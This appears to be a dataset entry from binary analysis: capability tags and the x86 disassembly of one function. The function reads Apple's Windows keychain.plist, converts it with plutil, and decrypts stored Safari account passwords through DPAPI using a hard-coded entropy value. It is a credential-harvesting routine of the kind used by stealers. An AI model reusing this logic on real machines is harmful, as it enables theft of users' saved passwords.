Function at 0x4357d0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Delete file
Encrypt data using dpapi
Get common file path
Get file attributes
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x5611cd
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x11f4
call fcn.00535d00
mov eax, dword [0x5bf500]
xor eax, esp
mov dword [esp + 0x11f0], eax
push ebx
push esi
push edi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x1208]
mov dword fs:[0], eax
mov edi, dword [0x648924]
mov esi, dword [0x648920]
cmp esi, edi
je 0x43583c
mov ecx, esi
call fcn.00434670
add esi, 0x90
cmp esi, edi
jne 0x435825
mov esi, dword [0x648920]
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [esp + 0x3d4]
push eax
push 0
push 0
push 0x1a
push 0
mov dword [0x648924], esi
call edi
test eax, eax
js 0x436532
lea eax, [esp + 0x3d4]
push eax
lea ecx, [esp + 0xd8]
call fcn.00403ff0
mov dword [esp + 0x1210], 0
lea ecx, [esp + 0xd4]
push 0x2a
push str.Apple_ComputerPreferenceskeychain.plist
call fcn.00404c80
cmp dword [esp + 0xe8], 8
lea eax, [esp + 0xd4]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmovae eax, dword [esp + 0xd4]
push eax
call esi
cmp eax, 0xffffffff
je 0x4364ee
cmp dword [esp + 0xe8], 8
lea ecx, [esp + 0x9ec]
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea eax, [esp + 0xd4]
cmovae eax, dword [esp + 0xd4]
push 0x104
push ecx
push eax
call ebx
test eax, eax
je 0x4364ee
lea eax, [esp + 0x3d4]
push eax
push 0
push 0
push 0x2b
push 0
call edi
test eax, eax
js 0x4364ee
lea eax, [esp + 0x3d4]
push eax
lea ecx, [esp + 0xc0]
call fcn.00403ff0
mov byte [esp + 0x1210], 1
lea ecx, [esp + 0xbc]
push str.AppleApple_Application_Supportplutil.exe
call fcn.004040f0
cmp dword [esp + 0xd0], 8
lea eax, [esp + 0xbc]
cmovae eax, dword [esp + 0xbc]
push eax
call esi
cmp eax, 0xffffffff
jne 0x43599b
push 0
push str.__x86_
lea ecx, [esp + 0xc4]
call fcn.00404270
cmp eax, 0xffffffff
je 0x43599b
push 0
push 0x58d0e4
push 6
push eax
lea ecx, [esp + 0xcc]
call fcn.00405060
lea ecx, [esp + 0xbc]
cmp ecx, eax
je 0x43599b
push 0xffffffffffffffff
push 0
push eax
call fcn.004044f0
cmp dword [esp + 0xd0], 8
lea eax, [esp + 0xbc]
cmovae eax, dword [esp + 0xbc]
push eax
call esi
cmp eax, 0xffffffff
je 0x4364da
push 0x3c
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00525d00
add esp, 0xc
mov dword [esp + 0x38], 0x3c
cmp dword [esp + 0xd0], 8
lea eax, [esp + 0xbc]
mov dword [esp + 0x3c], 0x440
cmovae eax, dword [esp + 0xbc]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x7e4]
push eax
push 0x104
mov dword [esp + 0x4c], str.open
mov dword [esp + 0x48], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4364da
lea eax, [esp + 0xbf4]
push eax
push 0
push str.lptmpfile_
lea eax, [esp + 0x7f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x4364da
push 0x104
lea eax, [esp + 0x5e0]
push eax
lea eax, [esp + 0xbfc]
push eax
call ebx
test eax, eax
je 0x4364da
push str._convert_xml1__s__o
lea ecx, [esp + 0x138]
call fcn.00403ff0
mov byte [esp + 0x1210], 2
lea eax, [esp + 0x5dc]
push eax
lea ecx, [esp + 0x138]
call fcn.004040f0
push 0x584618
lea ecx, [esp + 0x138]
call fcn.004040f0
lea eax, [esp + 0x9ec]
push eax
lea ecx, [esp + 0x138]
call fcn.004040f0
cmp dword [esp + 0x148], 8
lea eax, [esp + 0x134]
mov dword [esp + 0x50], 0
cmovae eax, dword [esp + 0x134]
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x4364c6
push 0xffffffffffffffff
push dword [esp + 0x74]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0x74]
call fcn.0042e7f0
mov byte [esp + 0x1210], 3
lea eax, [esp + 0x5dc]
push 0x5933d8
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
call fcn.005243ac
add esp, 0xc
test eax, eax
jne 0x4364a7
cmp dword [esp + 0x14], eax
je 0x4364a7
mov dword [esp + 0xfc], eax
mov dword [esp + 0x100], eax
mov dword [esp + 0x100], 0xf
mov dword [esp + 0xfc], eax
mov byte [esp + 0xec], al
mov byte [esp + 0x1210], 4
lea eax, [esp + 0xdfc]
push dword [esp + 0x14]
push 0x400
push eax
call fcn.005224bd
add esp, 0xc
test eax, eax
je 0x435bd1
mov edi, edi
lea eax, [esp + 0xdfc]
push eax
lea ecx, [esp + 0xf0]
call fcn.00424f70
push dword [esp + 0x14]
lea eax, [esp + 0xe00]
push 0x400
push eax
call fcn.005224bd
add esp, 0xc
test eax, eax
jne 0x435ba0
push dword [esp + 0x14]
call fcn.00520b12
add esp, 4
lea eax, [esp + 0xec]
cmp dword [esp + 0x100], 0x10
lea ecx, [esp + 0x74]
cmovae eax, dword [esp + 0xec]
push 0
push 0
push eax
call fcn.00430580
push str.plist
lea ecx, [esp + 0x78]
call fcn.0042d170
test eax, eax
je 0x436493
push str.dict
mov ecx, eax
call fcn.0042d170
test eax, eax
je 0x436493
push str.array
mov ecx, eax
call fcn.0042d170
test eax, eax
je 0x436493
push str.dict
mov ecx, eax
call fcn.0042d170
mov ebx, eax
mov dword [esp + 0x1c], ebx
test ebx, ebx
je 0x436493
lea ebx, [ebx]
lea ecx, [esp + 0x2b4]
call fcn.00435700
mov byte [esp + 0x1210], 5
mov dword [esp + 0x174], 0
mov dword [esp + 0x178], 0
mov dword [esp + 0x178], 0xf
mov dword [esp + 0x174], 0
mov byte [esp + 0x164], 0
mov byte [esp + 0x1210], 6
mov dword [esp + 0x12c], 0
mov dword [esp + 0x130], 0
mov dword [esp + 0x130], 0xf
mov dword [esp + 0x12c], 0
mov byte [esp + 0x11c], 0
mov byte [esp + 0x1210], 7
mov dword [esp + 0x1a4], 0
mov dword [esp + 0x1a8], 0
mov dword [esp + 0x1a8], 0xf
mov dword [esp + 0x1a4], 0
mov byte [esp + 0x194], 0
mov byte [esp + 0x1210], 8
mov dword [esp + 0x15c], 0
mov dword [esp + 0x160], 0
mov dword [esp + 0x160], 0xf
mov dword [esp + 0x15c], 0
mov byte [esp + 0x14c], 0
mov byte [esp + 0x1210], 9
mov ecx, ebx
push 0x5933f4
call fcn.0042d170
mov esi, eax
test esi, esi
je 0x4362e3
lea ebx, [ebx]
mov edx, esi
lea ecx, [esp + 0x17c]
call fcn.004bbce0
mov byte [esp + 0x1210], 0xa
mov edx, str.Account
lea ecx, [esp + 0x17c]
call fcn.00407490
test al, al
je 0x435df6
push str.string
mov ecx, esi
call fcn.0042e110
test eax, eax
je 0x4362b5
mov edx, eax
lea ecx, [esp + 0x1dc]
call fcn.004bbce0
mov byte [esp + 0x1210], 0xb
lea ecx, [esp + 0x2cc]
push eax
call fcn.00406f40
mov byte [esp + 0x1210], 0xa
lea ecx, [esp + 0x1dc]
jmp 0x4362b0
mov edx, str.Data
lea ecx, [esp + 0x17c]
call fcn.00407490
test al, al
je 0x43613c
push str.data
mov ecx, esi
call fcn.0042e110
test eax, eax
je 0x4362b5
mov edx, eax
lea ecx, [esp + 0x104]
call fcn.004bbce0
mov byte [esp + 0x1210], 0xc
lea ecx, [esp + 0x1c4]
push 0x584694
call fcn.004025d0
mov byte [esp + 0x1210], 0xd
lea ecx, [esp + 0x1ac]
push 0x58d1dc
call fcn.004025d0
mov byte [esp + 0x1210], 0xe
lea eax, [esp + 0x1c4]
push eax
lea edx, [esp + 0x1b0]
lea ecx, [esp + 0x108]
call fcn.004c0760
add esp, 4
mov byte [esp + 0x1210], 0xd
lea ecx, [esp + 0x1ac]
call fcn.00402630
mov byte [esp + 0x1210], 0xc
lea ecx, [esp + 0x1c4]
call fcn.00402630
lea edx, [esp + 0x104]
lea ecx, [esp + 0x254]
call fcn.00432160
mov byte [esp + 0x1210], 0xf
lea ecx, [esp + 0x104]
push eax
call fcn.00406f40
mov byte [esp + 0x1210], 0xc
lea ecx, [esp + 0x254]
call fcn.00402630
cmp dword [esp + 0x118], 0x10
lea eax, [esp + 0x104]
mov dword [esp + 0x344], 0xf8a8ac1d
cmovae eax, dword [esp + 0x104]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x114]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x344]
mov dword [esp + 0x348], 0x3e48b8d3
mov dword [esp + 0x34c], 0xa3e7d48
mov dword [esp + 0x350], 0x26dd0762
mov dword [esp + 0x354], 0x38167e6
mov dword [esp + 0x358], 0xa513b2e7
mov dword [esp + 0x35c], 0x4fee79b0
mov dword [esp + 0x360], 0xed15410f
mov dword [esp + 0x364], 0xe58c147b
mov dword [esp + 0x368], 0xc10d464b
mov dword [esp + 0x36c], 0xe7d6fe8e
mov dword [esp + 0x370], 0x8b067527
mov dword [esp + 0x374], 0xfdc0049
mov dword [esp + 0x378], 0xfd9ea030
mov dword [esp + 0x37c], 0xc8f18509
mov dword [esp + 0x380], 0x8c175aa
mov dword [esp + 0x384], 0xe2017905
mov dword [esp + 0x388], 0x80afd897
mov dword [esp + 0x38c], 0x710b6038
mov dword [esp + 0x390], 0x7753680e
mov dword [esp + 0x394], 0xf6610f2f
mov dword [esp + 0x398], 0x5c8f8e1d
mov dword [esp + 0x39c], 0x74213db2
mov dword [esp + 0x3a0], 0x6b54b40
mov dword [esp + 0x3a4], 0xbd7aab6e
mov dword [esp + 0x3a8], 0x327ea98b
mov dword [esp + 0x3ac], 0x24066e8f
mov dword [esp + 0x3b0], 0xa5a429d9
mov dword [esp + 0x3b4], 0xfd2326be
mov dword [esp + 0x3b8], 0xf4cf1ee
mov dword [esp + 0x3bc], 0xfb585e74
mov dword [esp + 0x3c0], 0x91ef7491
mov dword [esp + 0x3c4], 0x2e6d6f63
mov dword [esp + 0x3c8], 0x6c707061
mov dword [esp + 0x3cc], 0x61532e65
mov dword [esp + 0x3d0], 0x69726166
mov dword [esp + 0x34], eax
lea eax, [esp + 0x20]
push eax
push 0
push 0
push 0
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0x90
push eax
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x436128
mov ebx, dword [esp + 0x24]
movzx eax, byte [ebx]
mov dword [esp + 0x18], eax
inc eax
push eax
call fcn.0051f61a
mov edi, eax
add esp, 4
test edi, edi
je 0x436121
push dword [esp + 0x18]
lea eax, [ebx + 4]
push eax
push edi
call fcn.005256b0
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x308]
add esp, 0xc
mov byte [edi + eax], 0
push edi
call fcn.00406f80
push edi
call fcn.0051f344
mov ebx, dword [esp + 0x28]
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov byte [esp + 0x1210], 0xa
lea ecx, [esp + 0x104]
jmp 0x4362b0
mov edx, str.Path
lea ecx, [esp + 0x17c]
call fcn.00407490
test al, al
je 0x43619c
push str.string
mov ecx, esi
call fcn.0042e110
test eax, eax
je 0x4362b5
mov edx, eax
lea ecx, [esp + 0x1f4]
call fcn.004bbce0
mov byte [esp + 0x1210], 0x10
lea ecx, [esp + 0x164]
push eax
call fcn.00406f40
mov byte [esp + 0x1210], 0xa
lea ecx, [esp + 0x1f4]
jmp 0x4362b0
mov edx, str.Port
lea ecx, [esp + 0x17c]
call fcn.00407490
test al, al
je 0x4361fc
push str.integer
mov ecx, esi
call fcn.0042e110
test eax, eax
je 0x4362b5
mov edx, eax
lea ecx, [esp + 0x29c]
call fcn.004bbce0
mov byte [esp + 0x1210], 0x11
lea ecx, [esp + 0x11c]
push eax
call fcn.00406f40
mov byte [esp + 0x1210], 0xa
lea ecx, [esp + 0x29c]
jmp 0x4362b0
mov edx, str.Protocol
lea ecx, [esp + 0x17c]
call fcn.00407490
test al, al
je 0x436259
push str.integer
mov ecx, esi
call fcn.0042e110
test eax, eax
je 0x4362b5
mov edx, eax
lea ecx, [esp + 0x284]
call fcn.004bbce0
mov byte [esp + 0x1210], 0x12
lea ecx, [esp + 0x194]
push eax
call fcn.00406f40
mov byte [esp + 0x1210], 0xa
lea ecx, [esp + 0x284]
jmp 0x4362b0
mov edx, str.Server
lea ecx, [esp + 0x17c]
call fcn.00407490
test al, al
je 0x4362b5
push str.string
mov ecx, esi
call fcn.0042e110
test eax, eax
je 0x4362b5
mov edx, eax
lea ecx, [esp + 0x23c]
call fcn.004bbce0
mov byte [esp + 0x1210], 0x13
lea ecx, [esp + 0x14c]
push eax
call fcn.00406f40
mov byte [esp + 0x1210], 0xa
lea ecx, [esp + 0x23c]
call fcn.00402630
push 0x5933f4
mov ecx, esi
call fcn.0042e110
mov esi, eax
mov byte [esp + 0x1210], 9
lea ecx, [esp + 0x17c]
call fcn.00402630
test esi, esi
jne 0x435d80
mov ebx, dword [esp + 0x1c]
mov edx, str.1752461427
lea ecx, [esp + 0x194]
call fcn.00407490
test al, al
mov ecx, str.https
mov eax, str.http
cmove ecx, eax
push ecx
lea ecx, [esp + 0x2b8]
call fcn.00406f80
lea eax, [esp + 0x14c]
push eax
lea eax, [esp + 0x270]
push 0x593460
push eax
call fcn.00424fb0
add esp, 0xc
mov byte [esp + 0x1210], 0x14
lea ecx, [esp + 0x2b4]
push 0xffffffffffffffff
push 0
push eax
call fcn.004070a0
mov byte [esp + 0x1210], 9
lea ecx, [esp + 0x26c]
call fcn.00402630
mov edx, 0x592788
lea ecx, [esp + 0x11c]
call fcn.0041cae0
test al, al
je 0x4363b9
lea eax, [esp + 0x11c]
push eax
lea eax, [esp + 0x210]
push 0x593464
push eax
call fcn.00424fb0
add esp, 0xc
mov byte [esp + 0x1210], 0x15
lea ecx, [esp + 0x2b4]
push 0xffffffffffffffff
push 0
push eax
call fcn.004070a0
mov byte [esp + 0x1210], 9
lea ecx, [esp + 0x20c]
call fcn.00402630
lea eax, [esp + 0x164]
push eax
lea eax, [esp + 0x228]
push 0x593468
push eax
call fcn.00424fb0
add esp, 0xc
mov byte [esp + 0x1210], 0x16
lea ecx, [esp + 0x2b4]
push 0xffffffffffffffff
push 0
push eax
call fcn.004070a0
mov byte [esp + 0x1210], 9
lea ecx, [esp + 0x224]
call fcn.00402630
lea eax, [esp + 0x2b4]
mov ecx, 0x648920
push eax
call fcn.004389d0
push str.dict
mov ecx, ebx
call fcn.0042e110
mov ebx, eax
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x1210], 8
lea ecx, [esp + 0x14c]
call fcn.00402630
mov byte [esp + 0x1210], 7
lea ecx, [esp + 0x194]
call fcn.00402630
mov byte [esp + 0x1210], 6
lea ecx, [esp + 0x11c]
call fcn.00402630
mov byte [esp + 0x1210], 5
lea ecx, [esp + 0x164]
call fcn.00402630
mov byte [esp + 0x1210], 4
lea ecx, [esp + 0x2b4]
call fcn.00434670
test ebx, ebx
jne 0x435c60
mov byte [esp + 0x1210], 3
lea ecx, [esp + 0xec]
call fcn.00402630
lea eax, [esp + 0x5dc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [esp + 0x1210], 2
lea ecx, [esp + 0x74]
call fcn.0042d890
mov byte [esp + 0x1210], 1
lea ecx, [esp + 0x134]
call fcn.004040c0
mov byte [esp + 0x1210], 0
lea ecx, [esp + 0xbc]
call fcn.004040c0
mov dword [esp + 0x1210], 0xffffffff
cmp dword [esp + 0xe8], 8
jb 0x436512
push dword [esp + 0xd4]
call fcn.00443e80
add esp, 4
xor ecx, ecx
mov dword [esp + 0xe8], 7
mov dword [esp + 0xe4], 0
mov word [esp + 0xd4], cx
mov eax, 0x648920
mov ecx, dword [esp + 0x1208]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x11f0]
xor ecx, esp
call fcn.0051ece9
mov esp, ebp
pop ebp
ret